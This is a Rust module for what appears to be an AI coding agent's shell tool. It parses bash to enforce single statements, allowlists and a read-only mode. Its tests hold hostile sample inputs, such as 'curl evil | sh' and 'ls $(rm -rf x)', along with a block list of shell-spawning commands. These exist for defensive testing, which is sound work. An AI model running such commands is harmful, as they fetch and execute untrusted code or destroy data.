1use std::borrow::Cow;
2
3use tree_sitter::{Node, Parser};
4
5use crate::errors::{Result, WinxError};
6
7fn neutralize_supplementary(command: &str) -> Cow<'_, str> {
21 if command.chars().any(|c| c as u32 >= 0x1_0000) {
22 Cow::Owned(
23 command.chars().map(|c| if c as u32 >= 0x1_0000 { '\u{FFFD}' } else { c }).collect(),
24 )
25 } else {
26 Cow::Borrowed(command)
27 }
28}
29
30pub fn assert_single_statement(command: &str, allow_shell_probe: bool) -> Result<()> {
39 let trimmed = command.trim();
40 if trimmed.is_empty() {
41 return Ok(());
42 }
43 if trimmed.contains('\0') {
44 return Err(WinxError::CommandExecutionError(
45 "Command contains a NUL byte. JSON escape \\u0000 becomes an actual NUL before bash sees it; write \\\\0 or \\\\x00 in the command string instead.".to_string(),
46 ));
47 }
48
49 let parse_src = neutralize_supplementary(trimmed);
53
54 let mut parser = Parser::new();
55 let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
56 parser.set_language(&language).map_err(|error| {
57 WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
58 })?;
59
60 let tree = parser.parse(parse_src.as_ref(), None).ok_or_else(|| {
61 WinxError::CommandExecutionError("Failed to parse bash command".to_string())
62 })?;
63 let root = tree.root_node();
64
65 if root.has_error() && !rescued_by_shell_probe(trimmed, allow_shell_probe) {
66 return Err(WinxError::CommandExecutionError(
67 "Command contains invalid bash syntax. If this is a complex script, pass it as multiline bash, avoid NUL bytes, or set allow_multi=true after verifying the quoting.".to_string(),
68 ));
69 }
70
71 let statement_count = top_level_statement_count(parse_src.as_ref(), root);
73
74 if statement_count > 1 && !trimmed.contains('\n') {
75 return Err(WinxError::CommandExecutionError(
76 "Command should contain a single top-level bash statement. Fix one of three ways: \
77 send one statement per call; put each statement on its own line (multiline is \
78 allowed); or resend as {\"type\": \"command\", \"command\": \"...\", \
79 \"allow_multi\": true} when the composite is intentional."
80 .to_string(),
81 ));
82 }
83
84 Ok(())
85}
86
87fn rescued_by_shell_probe(command: &str, allow_shell_probe: bool) -> bool {
93 allow_shell_probe && bash_accepts_syntax(command)
94}
95
96fn bash_accepts_syntax(command: &str) -> bool {
97 std::process::Command::new("bash")
98 .arg("-n")
99 .arg("-c")
100 .arg(command)
101 .status()
102 .is_ok_and(|status| status.success())
103}
104
105#[derive(Debug, Clone)]
106struct StatementNode {
107 kind: String,
108 start_byte: usize,
109 end_byte: usize,
110}
111
112fn top_level_statement_count(source: &str, root: Node<'_>) -> usize {
113 let mut statements = Vec::new();
114 collect_statement_nodes(root, &mut statements);
115
116 statements
117 .iter()
118 .filter(|stmt| stmt.kind != "comment")
119 .filter(|stmt| !statements.iter().any(|other| is_contained_statement(source, stmt, other)))
120 .count()
121}
122
123fn collect_statement_nodes(node: Node<'_>, statements: &mut Vec<StatementNode>) {
124 if is_statement_node(node.kind()) {
125 statements.push(StatementNode {
126 kind: node.kind().to_string(),
127 start_byte: node.start_byte(),
128 end_byte: node.end_byte(),
129 });
130 }
131
132 let child_count = u32::try_from(node.named_child_count()).unwrap_or(u32::MAX);
133 for index in 0..child_count {
134 if let Some(child) = node.named_child(index) {
135 collect_statement_nodes(child, statements);
136 }
137 }
138}
139
140fn is_statement_node(kind: &str) -> bool {
141 matches!(
142 kind,
143 "command"
144 | "variable_assignment"
145 | "declaration_command"
146 | "unset_command"
147 | "comment"
148 | "for_statement"
149 | "c_style_for_statement"
150 | "while_statement"
151 | "if_statement"
152 | "case_statement"
153 | "function_definition"
154 | "pipeline"
155 | "list"
156 | "compound_statement"
157 | "subshell"
158 | "redirected_statement"
159 )
160}
161
162fn is_contained_statement(source: &str, stmt: &StatementNode, other: &StatementNode) -> bool {
163 if stmt.start_byte == other.start_byte
164 && stmt.end_byte == other.end_byte
165 && stmt.kind == other.kind
166 {
167 return false;
168 }
169
170 let other_text = &source[other.start_byte..other.end_byte];
171 if other.kind == "list" && other_text.contains(';') {
172 return false;
173 }
174
175 other.start_byte <= stmt.start_byte
176 && other.end_byte >= stmt.end_byte
177 && other.end_byte - other.start_byte > stmt.end_byte - stmt.start_byte
178 && other_text.contains(&source[stmt.start_byte..stmt.end_byte])
179}
180
181pub fn extract_command_texts(command: &str) -> Result<Vec<String>> {
193 let trimmed = command.trim();
194 if trimmed.is_empty() {
195 return Ok(Vec::new());
196 }
197 if trimmed.contains('\0') {
198 return Err(WinxError::CommandExecutionError("Command contains a NUL byte.".to_string()));
199 }
200
201 let parse_src = neutralize_supplementary(trimmed);
206
207 let mut parser = Parser::new();
208 let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
209 parser.set_language(&language).map_err(|error| {
210 WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
211 })?;
212
213 let tree = parser.parse(parse_src.as_ref(), None).ok_or_else(|| {
214 WinxError::CommandExecutionError("Failed to parse bash command".to_string())
215 })?;
216 let root = tree.root_node();
217 if root.has_error() {
218 return Err(WinxError::CommandExecutionError(
219 "Command could not be parsed for allowlist enforcement.".to_string(),
220 ));
221 }
222
223 let mut texts = Vec::new();
224 collect_command_texts(root, parse_src.as_ref().as_bytes(), &mut texts);
225 Ok(texts)
226}
227
228pub fn extract_static_write_paths(command: &str) -> Vec<String> {
235 let trimmed = command.trim();
236 if trimmed.is_empty() || trimmed.contains('\0') {
237 return Vec::new();
238 }
239
240 let parse_src = neutralize_supplementary(trimmed);
241 let mut parser = Parser::new();
242 let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
243 if parser.set_language(&language).is_err() {
244 return Vec::new();
245 }
246 let Some(tree) = parser.parse(parse_src.as_ref(), None) else { return Vec::new() };
247
248 let mut paths = Vec::new();
249 collect_static_write_paths(tree.root_node(), parse_src.as_ref().as_bytes(), &mut paths);
250 paths.sort();
251 paths.dedup();
252 paths
253}
254
255fn collect_static_write_paths(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
256 match node.kind() {
257 "file_redirect" => collect_redirect_destination(node, src, out),
258 "command" => collect_command_destinations(node, src, out),
259 _ => {}
260 }
261
262 let mut cursor = node.walk();
263 for child in node.children(&mut cursor) {
264 collect_static_write_paths(child, src, out);
265 }
266}
267
268fn collect_redirect_destination(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
269 let Some(destination) = node.child_by_field_name("destination") else { return };
270 let prefix_end = destination.start_byte().saturating_sub(node.start_byte());
271 let Ok(redirect) = node.utf8_text(src) else { return };
272 let prefix = redirect.get(..prefix_end).unwrap_or(redirect);
273 if !prefix.contains('>') {
274 return;
275 }
276 if let Ok(text) = destination.utf8_text(src) {
277 push_static_shell_word(text, out);
278 }
279}
280
281fn collect_command_destinations(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
282 let Some(name) = node.child_by_field_name("name") else { return };
283 let Ok(name) = name.utf8_text(src) else { return };
284 let Some(name) = static_shell_word(name) else { return };
285 let name = std::path::Path::new(&name)
286 .file_name()
287 .and_then(std::ffi::OsStr::to_str)
288 .unwrap_or(name.as_str());
289
290 let mut cursor = node.walk();
291 let arguments = node
292 .children_by_field_name("argument", &mut cursor)
293 .filter_map(|argument| argument.utf8_text(src).ok())
294 .filter_map(static_shell_word)
295 .collect::<Vec<_>>();
296 let positional =
297 arguments.iter().filter(|argument| !argument.starts_with('-')).cloned().collect::<Vec<_>>();
298
299 match name {
300 "tee" | "touch" | "truncate" | "mkdir" | "mkfifo" => {
301 out.extend(positional);
302 }
303 "cp" | "mv" | "install" | "ln" => {
304 if let Some(destination) = positional.last() {
305 out.push(destination.clone());
306 }
307 for argument in &arguments {
308 if let Some(destination) = argument.strip_prefix("--target-directory=") {
309 out.push(destination.to_string());
310 }
311 }
312 }
313 "dd" => {
314 for argument in &arguments {
315 if let Some(destination) = argument.strip_prefix("of=") {
316 out.push(destination.to_string());
317 }
318 }
319 }
320 "sed" | "perl"
321 if arguments.iter().any(|argument| {
322 argument == "-i"
323 || argument.starts_with("-i")
324 || argument == "-pi"
325 || argument.starts_with("-pi")
326 }) =>
327 {
328 out.extend(positional);
329 }
330 _ => {}
331 }
332}
333
334fn push_static_shell_word(text: &str, out: &mut Vec<String>) {
335 if let Some(word) = static_shell_word(text) {
336 out.push(word);
337 }
338}
339
340fn static_shell_word(text: &str) -> Option<String> {
341 let text = text.trim();
342 if text.is_empty() {
343 return None;
344 }
345
346 let bytes = text.as_bytes();
347 let unquoted = if bytes.len() >= 2
348 && matches!(
349 (bytes.first(), bytes.last()),
350 (Some(b'\''), Some(b'\'')) | (Some(b'"'), Some(b'"'))
351 ) {
352 &text[1..text.len() - 1]
353 } else {
354 text
355 };
356 let known_temp_path = unquoted == "$WINX_TEMP_DIR"
357 || unquoted == "${WINX_TEMP_DIR}"
358 || unquoted.starts_with("$WINX_TEMP_DIR/")
359 || unquoted.starts_with("${WINX_TEMP_DIR}/");
360 if unquoted.is_empty()
361 || unquoted.contains('`')
362 || unquoted.contains('*')
363 || unquoted.contains('?')
364 || (unquoted.contains('$') && !known_temp_path)
365 || (known_temp_path
366 && unquoted
367 .trim_start_matches("${WINX_TEMP_DIR}")
368 .trim_start_matches("$WINX_TEMP_DIR")
369 .contains('$'))
370 {
371 None
372 } else {
373 Some(unquoted.replace("\\ ", " ").replace("\\\"", "\"").replace("\\'", "'"))
374 }
375}
376
377fn collect_command_texts(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
378 if node.kind() == "command" {
379 if let Ok(text) = node.utf8_text(src) {
380 out.push(text.to_string());
381 }
382 }
383 let mut cursor = node.walk();
384 for child in node.children(&mut cursor) {
385 collect_command_texts(child, src, out);
386 }
387}
388
389pub const SHELL_SPAWNING_COMMANDS: &[&str] = &[
397 "bash", "sh", "zsh", "dash", "ksh", "fish", "csh", "tcsh", "eval", "source", ".", "env",
398 "xargs", "nice", "nohup", "timeout", "find", "watch", "sudo", "su", "ssh", "python", "python3",
399 "perl", "ruby", "node", "deno", "awk", "gawk", "php", "lua",
400];
401
402pub const ARCHITECT_COMMANDS: &[&str] = &[
407 "pwd",
408 "ls",
409 "rg",
410 "grep",
411 "head",
412 "tail",
413 "wc",
414 "stat",
415 "file",
416 "readlink",
417 "realpath",
418 "basename",
419 "dirname",
420 "printf",
421 "echo",
422 "type",
423 "which",
424 "uname",
425 "date",
426 "id",
427 "whoami",
428 "du",
429 "df",
430 "tree",
431 "git status",
432 "git diff",
433 "git log",
434 "git show",
435 "git ls-files",
436 "git grep",
437 "git rev-parse",
438 "git branch --show-current",
439];
440
441pub fn architect_allowed_commands() -> Vec<String> {
442 ARCHITECT_COMMANDS.iter().map(|command| (*command).to_string()).collect()
443}
444
445pub fn is_architect_command_allowed(command_line: &str) -> bool {
452 if contains_file_redirect(command_line) {
453 return false;
454 }
455 let Ok(commands) = extract_command_texts(command_line) else { return false };
456 !commands.is_empty() && commands.iter().all(|command| architect_command_is_safe(command))
457}
458
459fn contains_file_redirect(command: &str) -> bool {
463 let parse_src = neutralize_supplementary(command.trim());
464 let mut parser = Parser::new();
465 let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
466 if parser.set_language(&language).is_err() {
467 return true;
468 }
469 let Some(tree) = parser.parse(parse_src.as_ref(), None) else { return true };
470 let root = tree.root_node();
471 root.has_error() || node_tree_contains_kind(root, "file_redirect")
472}
473
474fn node_tree_contains_kind(node: Node<'_>, kind: &str) -> bool {
475 if node.kind() == kind {
476 return true;
477 }
478 let mut cursor = node.walk();
479 let found = node.children(&mut cursor).any(|child| node_tree_contains_kind(child, kind));
480 found
481}
482
483fn architect_command_is_safe(command: &str) -> bool {
484 let words: Vec<&str> = command.split_whitespace().collect();
485 let Some(program) = words.first().copied() else { return false };
486
487 if program == "git" {
488 let Some(subcommand) = words.get(1).copied() else { return false };
489 if subcommand == "branch" {
490 return words.as_slice() == ["git", "branch", "--show-current"];
491 }
492 if !matches!(
493 subcommand,
494 "status" | "diff" | "log" | "show" | "ls-files" | "grep" | "rev-parse"
495 ) {
496 return false;
497 }
498 return !words.iter().skip(2).any(|word| {
499 word.starts_with("--output")
500 || *word == "--ext-diff"
501 || *word == "--textconv"
502 || word.starts_with("--open-files-in-pager")
503 });
504 }
505
506 let allowed = ARCHITECT_COMMANDS
507 .iter()
508 .filter(|entry| !entry.starts_with("git "))
509 .any(|entry| *entry == program);
510 if !allowed {
511 return false;
512 }
513
514 if program == "rg" {
515 return !words.iter().skip(1).any(|word| {
516 word == &"--pre"
517 || word.starts_with("--pre=")
518 || word == &"--hostname-bin"
519 || word.starts_with("--hostname-bin=")
520 });
521 }
522
523 true
524}
525
526pub fn detect_allowlist_bypass(allowed: &[String]) -> Vec<String> {
533 let mut hits: Vec<String> = allowed
534 .iter()
535 .filter_map(|entry| {
536 let first = entry.split_whitespace().next()?;
537 let base = std::path::Path::new(first).file_name()?.to_str()?;
538 SHELL_SPAWNING_COMMANDS.contains(&base).then(|| base.to_string())
539 })
540 .collect();
541 hits.sort();
542 hits.dedup();
543 hits
544}
545
546#[cfg(test)]
547mod tests {
548 use super::assert_single_statement;
549 use super::detect_allowlist_bypass;
550 use super::extract_command_texts;
551 use super::extract_static_write_paths;
552 use super::is_architect_command_allowed;
553 use proptest::prelude::*;
554
555 proptest! {
556 #[test]
560 fn assert_single_statement_never_panics(cmd in "[\\s\\S]{0,80}") {
561 let _ = assert_single_statement(&cmd, false);
562 let _ = assert_single_statement(&cmd, true);
563 }
564
565 #[test]
566 fn extract_command_texts_never_panics(cmd in "[\\s\\S]{0,80}") {
567 let _ = extract_command_texts(&cmd);
568 }
569
570 #[test]
571 fn extract_static_write_paths_never_panics(cmd in "[\\s\\S]{0,80}") {
572 let _ = extract_static_write_paths(&cmd);
573 }
574 }
575
576 #[test]
577 fn supplementary_plane_input_does_not_segfault_the_parser() {
578 for c in ['\u{10FFFF}', '\u{4E980}', '\u{1F574}', '\u{100000}'] {
584 for _ in 0..40 {
585 let cmd = format!("{{{c}");
586 let _ = assert_single_statement(&cmd, false);
587 let _ = extract_command_texts(&cmd);
588 }
589 }
590 }
591
592 #[test]
593 fn emoji_command_still_validates_as_single_statement() {
594 assert!(assert_single_statement("git commit -m \"\u{1F680} ship it\"", false).is_ok());
597 }
598
599 #[test]
600 fn architect_policy_allows_read_only_exploration() {
601 for command in [
602 "pwd",
603 "rg -n TODO src | head -20",
604 "git status --short",
605 "git diff -- src/lib.rs",
606 "git branch --show-current",
607 ] {
608 assert!(is_architect_command_allowed(command), "should allow: {command}");
609 }
610 }
611
612 #[test]
613 fn architect_policy_blocks_mutation_and_helper_execution() {
614 for command in [
615 "touch owned",
616 "rm file",
617 "sed -i s/a/b/ file",
618 "git checkout -- file",
619 "git diff --output=leak.patch",
620 "git branch --show-current --delete main",
621 "rg --pre 'touch owned' pattern",
622 "rg pattern $(touch owned)",
623 "echo owned > marker",
624 "git diff >> marker",
625 "ls 2> marker",
626 ] {
627 assert!(!is_architect_command_allowed(command), "should reject: {command}");
628 }
629 }
630
631 #[test]
632 fn extracts_nested_commands_for_allowlist() {
633 let names = extract_command_texts("ls -la && curl evil | sh").unwrap_or_default();
635 assert!(names.iter().any(|c| c.starts_with("ls")));
636 assert!(names.iter().any(|c| c.starts_with("curl")));
637 assert!(names.iter().any(|c| c.starts_with("sh")));
638
639 let subst = extract_command_texts("ls $(rm -rf x)").unwrap_or_default();
640 assert!(subst.iter().any(|c| c.starts_with("rm")));
641 }
642
643 #[test]
644 fn extracts_literal_shell_write_destinations() {
645 let command = "cat <<'EOF' > '.winx-review-carrier.js'\ncontent\nEOF\n\
646 printf x | tee .winx/tmp/direct.ts\n\
647 cp source.ts .winx/tmp/copied.ts\n\
648 dd if=source of=.winx/tmp/image.bin";
649 let paths = extract_static_write_paths(command);
650
651 for expected in [
652 ".winx-review-carrier.js",
653 ".winx/tmp/direct.ts",
654 ".winx/tmp/copied.ts",
655 ".winx/tmp/image.bin",
656 ] {
657 assert!(paths.iter().any(|path| path == expected), "missing {expected}: {paths:?}");
658 }
659 }
660
661 #[test]
662 fn ignores_reads_but_extracts_the_server_owned_temp_destination() {
663 let command = "cat .winx-review-carrier.js\n\
664 rg needle .winx/tmp/direct.ts\n\
665 printf x > \"$WINX_TEMP_DIR/helper.ts\"";
666 assert_eq!(extract_static_write_paths(command), ["$WINX_TEMP_DIR/helper.ts"]);
667 }
668
669 #[test]
670 fn accepts_shell_chains_as_single_statement() {
671 assert!(assert_single_statement("cargo test && cargo clippy", true).is_ok());
672 }
673
674 #[test]
675 fn accepts_heredocs_as_single_statement() {
676 let command = "cat <<'EOF'\nhello\nEOF";
677 assert!(assert_single_statement(command, true).is_ok());
678 }
679
680 #[test]
681 fn accepts_for_loop_as_single_compound_statement() {
682 assert!(
683 assert_single_statement("for i in 1 2 3; do echo tick; sleep 1; done", true).is_ok()
684 );
685 }
686
687 #[test]
688 fn rejects_semicolon_separated_top_level_statements() {
689 assert!(assert_single_statement("pwd; ls", true).is_err());
690 }
691
692 #[test]
693 fn accepts_multiline_scripts() {
694 assert!(assert_single_statement("pwd\nls", true).is_ok());
695 }
696
697 #[test]
698 fn accepts_bash_lc_script_when_tree_sitter_reports_error() {
699 let command = "bash -lc 'printf \"%s\\n\" \"-- drm connectors --\"; for s in /sys/class/drm/card*-*/status; do [ -e \"$s\" ] || continue; c=${s%/status}; printf \"%s: %s\" \"${c##*/}\" \"$(cat \"$s\")\"; done'";
700 assert!(assert_single_statement(command, true).is_ok());
701 }
702
703 #[test]
704 fn shell_probe_is_gated_to_trusted_mode() {
705 use super::rescued_by_shell_probe;
706 assert!(rescued_by_shell_probe("echo hi", true));
712 assert!(!rescued_by_shell_probe("echo hi", false));
715 assert!(!rescued_by_shell_probe("echo )(", true));
717 }
718
719 #[test]
720 fn detect_allowlist_bypass_flags_shell_spawners() {
721 let allowed = vec![
722 "ls".to_string(),
723 "bash".to_string(),
724 "cat -n".to_string(),
725 "find . -exec rm {} +".to_string(),
726 ];
727 assert_eq!(detect_allowlist_bypass(&allowed), vec!["bash".to_string(), "find".to_string()]);
728 }
729
730 #[test]
731 fn detect_allowlist_bypass_clean_list_is_empty() {
732 let allowed = vec!["ls".to_string(), "cat".to_string(), "grep -n foo".to_string()];
733 assert!(detect_allowlist_bypass(&allowed).is_empty());
734 }
735
736 #[test]
737 fn detect_allowlist_bypass_matches_basename_of_path() {
738 let allowed = vec!["/usr/bin/env python".to_string()];
739 assert_eq!(detect_allowlist_bypass(&allowed), vec!["env".to_string()]);
740 }
741
742 #[test]
743 fn rejects_nul_with_actionable_message() {
744 let error = match assert_single_statement("printf '\0'", true) {
745 Ok(()) => String::new(),
746 Err(error) => error.to_string(),
747 };
748 assert!(error.contains("NUL byte"));
749 assert!(error.contains("\\\\x00"));
750 }
751}